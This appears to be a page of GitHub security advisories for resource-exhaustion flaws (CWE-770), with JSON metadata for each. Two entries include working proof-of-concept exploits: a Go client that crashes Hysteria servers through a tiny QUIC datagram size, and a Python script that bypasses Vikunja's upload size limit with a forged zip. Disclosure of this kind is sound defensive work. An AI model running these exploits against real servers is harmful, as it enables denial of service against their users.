CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3030 vulnerabilities reference this CWE, most recent first.
GHSA-QGGH-6FCH-VXCC
Vulnerability from github – Published: 2022-12-13 18:30 – Updated: 2022-12-15 18:30In NotificationChannel of NotificationChannel.java, there is a possible failure to persist permissions settings due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-242703202
{
"affected": [],
"aliases": [
"CVE-2022-20487"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T16:15:00Z",
"severity": "HIGH"
},
"details": "In NotificationChannel of NotificationChannel.java, there is a possible failure to persist permissions settings due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-242703202",
"id": "GHSA-qggh-6fch-vxcc",
"modified": "2022-12-15T18:30:25Z",
"published": "2022-12-13T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20487"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2022-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QGGH-75Q9-J3RF
Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33The ppp decapsulator in tcpdump 4.9.3 can be convinced to allocate a large amount of memory.
{
"affected": [],
"aliases": [
"CVE-2020-8037"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-04T18:15:00Z",
"severity": "HIGH"
},
"details": "The ppp decapsulator in tcpdump 4.9.3 can be convinced to allocate a large amount of memory.",
"id": "GHSA-qggh-75q9-j3rf",
"modified": "2022-05-24T17:33:10Z",
"published": "2022-05-24T17:33:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8037"
},
{
"type": "WEB",
"url": "https://github.com/the-tcpdump-group/tcpdump/commit/32027e199368dad9508965aae8cd8de5b6ab5231"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/11/msg00018.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2MX34MJIUJQGL6CMEPLTKFOOOC3CJ4Z"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LWDBONZVLC6BAOR2KM376DJCM4H3FERV"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT212325"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT212326"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT212327"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/Apr/51"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QGGV-3V78-C7CG
Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-05-14 18:30Dell PowerScale OneFS versions 8.2.x through 9.7.0.1 contains an allocation of resources without limits or throttling vulnerability. A local unauthenticated attacker could potentially exploit this vulnerability, leading to denial of service.
{
"affected": [],
"aliases": [
"CVE-2024-25969"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T16:16:19Z",
"severity": "MODERATE"
},
"details": "Dell PowerScale OneFS versions 8.2.x through 9.7.0.1 contains an allocation of resources without limits or throttling vulnerability. A local unauthenticated attacker could potentially exploit this vulnerability, leading to denial of service.",
"id": "GHSA-qggv-3v78-c7cg",
"modified": "2024-05-14T18:30:59Z",
"published": "2024-05-14T18:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25969"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000224860/dsa-2024-163-security-update-for-dell-powerscale-onefs-for-multiple-security-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QH5X-RFWF-RVFV
Vulnerability from github – Published: 2026-06-26 19:58 – Updated: 2026-06-26 19:58Summary
An authenticated client can crash the Hysteria server by advertising a very small QUIC max_datagram_frame_size and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns DatagramTooLargeError. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.
Details
The vulnerable path is the normal server-side UDP response path:
udpSessionEntry.receiveLoop
-> sendMessageAutoFrag
-> frag.FragUDPMessage
In core/server/udp.go, receiveLoop packages a UDP response into a protocol.UDPMessage and calls sendMessageAutoFrag. If SendDatagram fails with quic.DatagramTooLargeError, sendMessageAutoFrag calls:
fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))
However, FragUDPMessage in core/internal/frag/frag.go assumes that maxSize is greater than the UDP message header size:
maxPayloadSize := maxSize - m.HeaderSize()
If an attacker-controlled client advertises a small enough max_datagram_frame_size, errTooLarge.MaxDatagramPayloadSize can be smaller than m.HeaderSize(). In that case, maxPayloadSize becomes zero or negative, and the later slicing operation panics:
frag.Data = fullPayload[off : off+payloadSize]
PoC
poc.yaml
listen: 127.0.0.1:8443
tls:
cert: poc_server.crt
key: poc_server.key
auth:
type: password
password: udp-frag-panic-poc
masquerade:
type: string
string:
content: nope
statusCode: 404
poc.go
//go:build poc
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/binary"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"time"
"github.com/apernet/quic-go"
"github.com/apernet/quic-go/http3"
"github.com/apernet/quic-go/quicvarint"
)
const (
authHost = "hysteria"
authPath = "/auth"
authOK = 233
)
func main() {
server := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
auth := flag.String("auth", "", "Hysteria auth/password")
target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server")
maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client")
insecure := flag.Bool("insecure", true, "skip TLS verification")
echo := flag.Bool("echo", true, "start a local UDP echo server on --target")
flag.Parse()
if *auth == "" {
panic("--auth is required")
}
if *echo {
closeEcho := startUDPEcho(*target)
defer closeEcho()
}
conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)
defer cleanup()
msg := hysteriaUDPMessage(1, *target, []byte("X"))
fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n",
*target, udpHeaderSize(*target), len(msg), *maxDatagram)
if err := conn.SendDatagram(msg); err != nil {
panic(fmt.Errorf("send trigger datagram: %w", err))
}
fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
if _, err := conn.ReceiveDatagram(ctx); err != nil {
fmt.Printf("[*] receive after trigger: %v\n", err)
} else {
fmt.Println("[!] received a response; try a smaller --max-datagram")
}
}
func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {
serverAddr, err := net.ResolveUDPAddr("udp", server)
if err != nil {
panic(err)
}
udpConn, err := net.ListenUDP("udp", nil)
if err != nil {
panic(err)
}
transport := &quic.Transport{Conn: udpConn}
var qconn *quic.Conn
rt := &http3.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},
QUICConfig: &quic.Config{
EnableDatagrams: true,
MaxDatagramFrameSize: maxDatagram,
DisablePathManager: true,
},
Dial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) {
qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg)
return qconn, err
},
}
req := &http.Request{
Method: http.MethodPost,
Host: authHost,
URL: &url.URL{Scheme: "https", Host: authHost, Path: authPath},
Header: http.Header{},
Body: io.NopCloser(bytes.NewReader(nil)),
}
req.Header.Set("Hysteria-Auth", auth)
req.Header.Set("Hysteria-CC-RX", "0")
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
resp, err := rt.RoundTrip(req.WithContext(ctx))
if err != nil {
panic(err)
}
defer resp.Body.Close()
if resp.StatusCode != authOK {
panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode))
}
if resp.Header.Get("Hysteria-UDP") == "false" {
panic("server reports UDP disabled")
}
cleanup := func() {
_ = rt.Close()
_ = transport.Close()
_ = udpConn.Close()
if qconn != nil {
_ = qconn.CloseWithError(0, "")
}
}
return qconn, cleanup
}
func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte {
buf := make([]byte, udpHeaderSize(addr)+len(data))
binary.BigEndian.PutUint32(buf[0:4], sessionID)
// PacketID=0, FragID=0, FragCount=1.
buf[7] = 1
i := len(quicvarint.Append(buf[:8], uint64(len(addr))))
i += copy(buf[i:], addr)
copy(buf[i:], data)
return buf
}
func udpHeaderSize(addr string) int {
return 8 + quicvarint.Len(uint64(len(addr))) + len(addr)
}
func startUDPEcho(addr string) func() {
pc, err := net.ListenPacket("udp", addr)
if err != nil {
panic(fmt.Errorf("start UDP echo on %s: %w", addr, err))
}
fmt.Printf("[*] UDP echo listening on %s\n", pc.LocalAddr())
go func() {
buf := make([]byte, 2048)
for {
n, raddr, err := pc.ReadFrom(buf)
if err != nil {
return
}
_, _ = pc.WriteTo(buf[:n], raddr)
}
}()
return func() { _ = pc.Close() }
}
poc.sh
go run -tags poc ./poc_udp_frag_panic.go \
--server 127.0.0.1:8443 \
--auth udp-frag-panic-poc \
--insecure \
--target 127.0.0.1:19090 \
--max-datagram 20
Impact
Server crash
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/apernet/hysteria"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T19:58:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nAn authenticated client can crash the Hysteria server by advertising a very small QUIC `max_datagram_frame_size` and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns `DatagramTooLargeError`. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.\n\n### Details\n\n\nThe vulnerable path is the normal server-side UDP response path:\n\n```text\nudpSessionEntry.receiveLoop\n -\u003e sendMessageAutoFrag\n -\u003e frag.FragUDPMessage\n```\n\nIn `core/server/udp.go`, `receiveLoop` packages a UDP response into a `protocol.UDPMessage` and calls `sendMessageAutoFrag`. If `SendDatagram` fails with `quic.DatagramTooLargeError`, `sendMessageAutoFrag` calls:\n\n```go\nfMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))\n```\n\nHowever, `FragUDPMessage` in `core/internal/frag/frag.go` assumes that `maxSize` is greater than the UDP message header size:\n\n```go\nmaxPayloadSize := maxSize - m.HeaderSize()\n```\n\nIf an attacker-controlled client advertises a small enough `max_datagram_frame_size`, `errTooLarge.MaxDatagramPayloadSize` can be smaller than `m.HeaderSize()`. In that case, `maxPayloadSize` becomes zero or negative, and the later slicing operation panics:\n\n```go\nfrag.Data = fullPayload[off : off+payloadSize]\n```\n\n\n### PoC\n\npoc.yaml\n\n```yaml\nlisten: 127.0.0.1:8443\n\ntls:\n cert: poc_server.crt\n key: poc_server.key\n\nauth:\n type: password\n password: udp-frag-panic-poc\n\n\nmasquerade:\n type: string\n string:\n content: nope\n statusCode: 404\n```\n\npoc.go\n\n```go\n//go:build poc\n\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/binary\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"github.com/apernet/quic-go\"\n\t\"github.com/apernet/quic-go/http3\"\n\t\"github.com/apernet/quic-go/quicvarint\"\n)\n\nconst (\n\tauthHost = \"hysteria\"\n\tauthPath = \"/auth\"\n\tauthOK = 233\n)\n\nfunc main() {\n\tserver := flag.String(\"server\", \"127.0.0.1:8443\", \"Hysteria server address\")\n\tauth := flag.String(\"auth\", \"\", \"Hysteria auth/password\")\n\ttarget := flag.String(\"target\", \"127.0.0.1:19090\", \"UDP target reachable from the server\")\n\tmaxDatagram := flag.Int64(\"max-datagram\", 20, \"QUIC max_datagram_frame_size advertised by this client\")\n\tinsecure := flag.Bool(\"insecure\", true, \"skip TLS verification\")\n\techo := flag.Bool(\"echo\", true, \"start a local UDP echo server on --target\")\n\tflag.Parse()\n\n\tif *auth == \"\" {\n\t\tpanic(\"--auth is required\")\n\t}\n\tif *echo {\n\t\tcloseEcho := startUDPEcho(*target)\n\t\tdefer closeEcho()\n\t}\n\n\tconn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)\n\tdefer cleanup()\n\n\tmsg := hysteriaUDPMessage(1, *target, []byte(\"X\"))\n\tfmt.Printf(\"[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\\n\",\n\t\t*target, udpHeaderSize(*target), len(msg), *maxDatagram)\n\n\tif err := conn.SendDatagram(msg); err != nil {\n\t\tpanic(fmt.Errorf(\"send trigger datagram: %w\", err))\n\t}\n\tfmt.Println(\"[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage\")\n\n\tctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)\n\tdefer cancel()\n\tif _, err := conn.ReceiveDatagram(ctx); err != nil {\n\t\tfmt.Printf(\"[*] receive after trigger: %v\\n\", err)\n\t} else {\n\t\tfmt.Println(\"[!] received a response; try a smaller --max-datagram\")\n\t}\n}\n\nfunc dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {\n\tserverAddr, err := net.ResolveUDPAddr(\"udp\", server)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tudpConn, err := net.ListenUDP(\"udp\", nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttransport := \u0026quic.Transport{Conn: udpConn}\n\tvar qconn *quic.Conn\n\trt := \u0026http3.Transport{\n\t\tTLSClientConfig: \u0026tls.Config{InsecureSkipVerify: insecure},\n\t\tQUICConfig: \u0026quic.Config{\n\t\t\tEnableDatagrams: true,\n\t\t\tMaxDatagramFrameSize: maxDatagram,\n\t\t\tDisablePathManager: true,\n\t\t},\n\t\tDial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) {\n\t\t\tqconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg)\n\t\t\treturn qconn, err\n\t\t},\n\t}\n\n\treq := \u0026http.Request{\n\t\tMethod: http.MethodPost,\n\t\tHost: authHost,\n\t\tURL: \u0026url.URL{Scheme: \"https\", Host: authHost, Path: authPath},\n\t\tHeader: http.Header{},\n\t\tBody: io.NopCloser(bytes.NewReader(nil)),\n\t}\n\treq.Header.Set(\"Hysteria-Auth\", auth)\n\treq.Header.Set(\"Hysteria-CC-RX\", \"0\")\n\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\tresp, err := rt.RoundTrip(req.WithContext(ctx))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != authOK {\n\t\tpanic(fmt.Errorf(\"auth failed: HTTP status %d\", resp.StatusCode))\n\t}\n\tif resp.Header.Get(\"Hysteria-UDP\") == \"false\" {\n\t\tpanic(\"server reports UDP disabled\")\n\t}\n\n\tcleanup := func() {\n\t\t_ = rt.Close()\n\t\t_ = transport.Close()\n\t\t_ = udpConn.Close()\n\t\tif qconn != nil {\n\t\t\t_ = qconn.CloseWithError(0, \"\")\n\t\t}\n\t}\n\treturn qconn, cleanup\n}\n\nfunc hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte {\n\tbuf := make([]byte, udpHeaderSize(addr)+len(data))\n\tbinary.BigEndian.PutUint32(buf[0:4], sessionID)\n\t// PacketID=0, FragID=0, FragCount=1.\n\tbuf[7] = 1\n\ti := len(quicvarint.Append(buf[:8], uint64(len(addr))))\n\ti += copy(buf[i:], addr)\n\tcopy(buf[i:], data)\n\treturn buf\n}\n\nfunc udpHeaderSize(addr string) int {\n\treturn 8 + quicvarint.Len(uint64(len(addr))) + len(addr)\n}\n\nfunc startUDPEcho(addr string) func() {\n\tpc, err := net.ListenPacket(\"udp\", addr)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"start UDP echo on %s: %w\", addr, err))\n\t}\n\tfmt.Printf(\"[*] UDP echo listening on %s\\n\", pc.LocalAddr())\n\n\tgo func() {\n\t\tbuf := make([]byte, 2048)\n\t\tfor {\n\t\t\tn, raddr, err := pc.ReadFrom(buf)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\t_, _ = pc.WriteTo(buf[:n], raddr)\n\t\t}\n\t}()\n\treturn func() { _ = pc.Close() }\n}\n```\n\npoc.sh\n```bash\ngo run -tags poc ./poc_udp_frag_panic.go \\\n --server 127.0.0.1:8443 \\\n --auth udp-frag-panic-poc \\\n --insecure \\\n --target 127.0.0.1:19090 \\\n --max-datagram 20\n```\n\n\n\n### Impact\nServer crash",
"id": "GHSA-qh5x-rfwf-rvfv",
"modified": "2026-06-26T19:58:12Z",
"published": "2026-06-26T19:58:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apernet/hysteria/security/advisories/GHSA-qh5x-rfwf-rvfv"
},
{
"type": "PACKAGE",
"url": "https://github.com/apernet/hysteria"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Hysteria vulnerable to server crash when max_datagram_frame_size very small"
}
GHSA-QH6R-QPVJ-QHHQ
Vulnerability from github – Published: 2022-07-02 00:00 – Updated: 2022-07-13 00:01Tenda M3 V1.0.0.12 was discovered to contain a stack overflow via the function formSetAPCfg.
{
"affected": [],
"aliases": [
"CVE-2022-32037"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-01T18:15:00Z",
"severity": "HIGH"
},
"details": "Tenda M3 V1.0.0.12 was discovered to contain a stack overflow via the function formSetAPCfg.",
"id": "GHSA-qh6r-qpvj-qhhq",
"modified": "2022-07-13T00:01:51Z",
"published": "2022-07-02T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32037"
},
{
"type": "WEB",
"url": "https://github.com/d1tto/IoT-vuln/tree/main/Tenda/M3/formSetAPCfg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QH78-RVG3-CV54
Vulnerability from github – Published: 2026-04-10 15:35 – Updated: 2026-04-10 19:46Summary
The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.
Details
During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/create_from_structure.go:406 passes the attacker-controlled File.Size from the JSON:
err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)
The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:
if realsize > config.GetMaxFileSizeInMBytes()*uint64(datasize.MB) && checkFileSizeLimit {
With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.
Proof of Concept
Tested on Vikunja v2.2.2 with default max_file_size: 20MB.
import zipfile, io, json, requests
TARGET = "http://localhost:3456"
token = requests.post(f"{TARGET}/api/v1/login",
json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}"}
# Craft zip with forged Size=0 in JSON but 25MB actual content
large_content = b"A" * (25 * 1024 * 1024) # 25MB
data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{
"file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"},
"created": "2026-01-01T00:00:00Z"}]}]}]
zip_buf = io.BytesIO()
with zipfile.ZipFile(zip_buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr("VERSION", "2.2.2")
zf.writestr("data.json", json.dumps(data))
zf.writestr("large.bin", large_content)
resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate",
headers=h,
files={"import": ("export.zip", zip_buf.getvalue(), "application/zip")})
Output:
HTTP 200: {"message": "Everything was migrated successfully."}
25MB file stored despite 20MB server limit.
Impact
An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.
Recommended Fix
Use the actual content length instead of the attacker-controlled Size field:
err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)
Found and reported by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.2.2"
},
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35602"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T15:35:18Z",
"nvd_published_at": "2026-04-10T17:17:03Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Vikunja file import endpoint uses the attacker-controlled `Size` field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting `Size` to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.\n\n## Details\n\nDuring import, the JSON metadata from `data.json` inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at `pkg/modules/migration/create_from_structure.go:406` passes the attacker-controlled `File.Size` from the JSON:\n\n```go\nerr = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)\n```\n\nThe file size enforcement check at `pkg/files/files.go:118` then evaluates this attacker-controlled value:\n\n```go\nif realsize \u003e config.GetMaxFileSizeInMBytes()*uint64(datasize.MB) \u0026\u0026 checkFileSizeLimit {\n```\n\nWith `Size` set to 0 in the JSON, the comparison `0 \u003e 20MB` evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the `readZipEntry` limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2 with default `max_file_size: 20MB`.\n\n```python\nimport zipfile, io, json, requests\n\nTARGET = \"http://localhost:3456\"\ntoken = requests.post(f\"{TARGET}/api/v1/login\",\n json={\"username\": \"user1\", \"password\": \"User1pass!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\"}\n\n# Craft zip with forged Size=0 in JSON but 25MB actual content\nlarge_content = b\"A\" * (25 * 1024 * 1024) # 25MB\ndata = [{\"title\": \"Project\", \"tasks\": [{\"title\": \"Task\", \"attachments\": [{\n \"file\": {\"name\": \"large.bin\", \"size\": 0, \"created\": \"2026-01-01T00:00:00Z\"},\n \"created\": \"2026-01-01T00:00:00Z\"}]}]}]\n\nzip_buf = io.BytesIO()\nwith zipfile.ZipFile(zip_buf, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n zf.writestr(\"VERSION\", \"2.2.2\")\n zf.writestr(\"data.json\", json.dumps(data))\n zf.writestr(\"large.bin\", large_content)\n\nresp = requests.put(f\"{TARGET}/api/v1/migration/vikunja-file/migrate\",\n headers=h,\n files={\"import\": (\"export.zip\", zip_buf.getvalue(), \"application/zip\")})\n```\n\nOutput:\n```\nHTTP 200: {\"message\": \"Everything was migrated successfully.\"}\n25MB file stored despite 20MB server limit.\n```\n\n## Impact\n\nAn authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server\u0027s disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.\n\n## Recommended Fix\n\nUse the actual content length instead of the attacker-controlled `Size` field:\n\n```go\nerr = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-qh78-rvg3-cv54",
"modified": "2026-04-10T19:46:01Z",
"published": "2026-04-10T15:35:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qh78-rvg3-cv54"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35602"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/2575"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Vikunja has File Size Limit Bypass via Vikunja Import"
}
GHSA-QH7P-PFQ3-677H
Vulnerability from github – Published: 2025-10-28 21:30 – Updated: 2025-11-05 22:12Consul and Consul Enterprise’s (“Consul”) event endpoint is vulnerable to denial of service (DoS) due to lack of maximum value on the Content Length header. This vulnerability, CVE-2025-11375, is fixed in Consul Community Edition 1.22.0 and Consul Enterprise 1.22.0, 1.21.6, 1.20.8 and 1.18.12.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/hashicorp/consul"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11375"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-29T15:40:11Z",
"nvd_published_at": "2025-10-28T21:15:37Z",
"severity": "MODERATE"
},
"details": "Consul and Consul Enterprise\u2019s (\u201cConsul\u201d) event endpoint is vulnerable to denial of service (DoS) due to lack of maximum value on the Content Length header. This vulnerability, CVE-2025-11375, is fixed in Consul Community Edition 1.22.0 and Consul Enterprise 1.22.0, 1.21.6, 1.20.8 and 1.18.12.",
"id": "GHSA-qh7p-pfq3-677h",
"modified": "2025-11-05T22:12:37Z",
"published": "2025-10-28T21:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11375"
},
{
"type": "WEB",
"url": "https://github.com/hashicorp/consul/pull/22836"
},
{
"type": "WEB",
"url": "https://github.com/hashicorp/consul/commit/e794201d0c618333d81ad775270f7b32801178fb"
},
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2025-28-consuls-event-endpoint-is-vulnerable-to-denial-of-service/76723"
},
{
"type": "PACKAGE",
"url": "https://github.com/hashicorp/consul"
},
{
"type": "WEB",
"url": "https://github.com/hashicorp/consul/releases/tag/v1.22.0"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4082"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Consul event endpoint is vulnerable to denial of service"
}
GHSA-QH8V-25C7-7M9H
Vulnerability from github – Published: 2023-05-09 21:30 – Updated: 2024-04-04 03:57A malicious or compromised UApp or ABL can send a malformed system call to the bootloader, which may result in an out-of-bounds memory access that may potentially lead to an attacker leaking sensitive information or achieving code execution.
{
"affected": [],
"aliases": [
"CVE-2021-46760"
],
"database_specific": {
"cwe_ids": [
"CWE-119",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-09T20:15:12Z",
"severity": "CRITICAL"
},
"details": "A malicious or compromised UApp or ABL can send\na malformed system call to the bootloader, which may result in an out-of-bounds\nmemory access that may potentially lead to an attacker leaking sensitive\ninformation or achieving code execution.\n\n\n\n\n",
"id": "GHSA-qh8v-25c7-7m9h",
"modified": "2024-04-04T03:57:51Z",
